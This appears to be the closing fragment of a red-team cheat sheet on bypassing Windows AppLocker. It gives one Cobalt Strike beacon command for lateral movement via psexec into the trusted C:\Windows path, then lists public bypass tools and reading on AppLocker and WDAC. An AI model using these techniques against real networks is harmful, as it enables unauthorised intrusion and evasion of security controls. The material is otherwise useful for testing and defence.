# Bypass AppLocker for lateral movement (psexec drops to C:\Windows — trusted)
beacon> jump psexec64 TARGET smb # EXE dropped to C:\Windows\ — trusted path
References & Tools
Tools: - PSByPassCLM — https://github.com/padovah4ck/PSByPassCLM - PowerShdll — https://github.com/p3nt4/PowerShdll - LOLBAS Project — https://lolbas-project.github.io - UltimateWDACBypassList — https://github.com/bohops/UltimateWDACBypassList - AppLocker Bypass List — https://github.com/api0cradle/UltimateAppLockerByPassList
Further Reading: - Microsoft AppLocker documentation - Cobalt Strike OPSEC guide (Raphael Mudge) - SpecterOps — WDAC vs AppLocker analysis - Sysmon event ID reference